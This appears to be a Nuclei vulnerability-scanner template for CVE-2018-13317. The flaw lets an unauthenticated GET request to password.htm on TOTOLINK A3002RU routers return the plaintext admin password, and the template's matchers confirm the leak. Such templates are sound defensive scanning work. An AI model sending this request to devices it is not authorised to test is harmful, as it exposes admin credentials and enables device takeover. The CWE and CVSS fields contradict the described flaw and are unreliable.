id: CVE-2018-13317

info:
  name: TOTOLINK A3002RU 1.0.8 - Information Disclosure
  author: ritikchaddha
  severity: medium
  description: |
    TOTOLINK A3002RU firmware version 1.0.8 contains a vulnerability in which an unauthenticated attacker can obtain the plaintext admin password by making a GET request for `password.htm`. This allows remote attackers to gain administrative access without credentials.
  impact: |
    Unauthenticated attackers can obtain the plaintext administrator password without any authentication, leading to complete device compromise.
  remediation: |
    Update to the latest firmware version that addresses this vulnerability.
  reference:
    - https://blog.securityevaluators.com/new-vulnerabilities-in-totolink-a3002ru-d6f42a081154
    - https://nvd.nist.gov/vuln/detail/CVE-2018-13317
  classification:
    cve-id: CVE-2018-13317
    epss-score: 0.00991
    epss-percentile: 0.59108
    cwe-id: CWE-79
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cpe: cpe:2.3:o:totolink:a3002ru_firmware:1.0.8:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-requests: 1
    vendor: totolink
    product: a3002ru
    fofa-query: title="totolink"
  tags: cve,cve2018,totolink,password,exposure,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/password.htm"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - orgpassword=[^&\s]+"
          - orgusername=[^&\s]+
        condition: and

      - type: word
        part: body
        words:
          - "orgpassword=''"
        negative: true

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100bac732e24ffe3c9ca363d585bd871765d06a52fa78cb60ea776523c2eea0572e02202131e4750a7c088ad50d7f29b354d216c25df2fcc7d5c255d767e82c7a9f54af:922c64590222798bb761d5b6d8e72950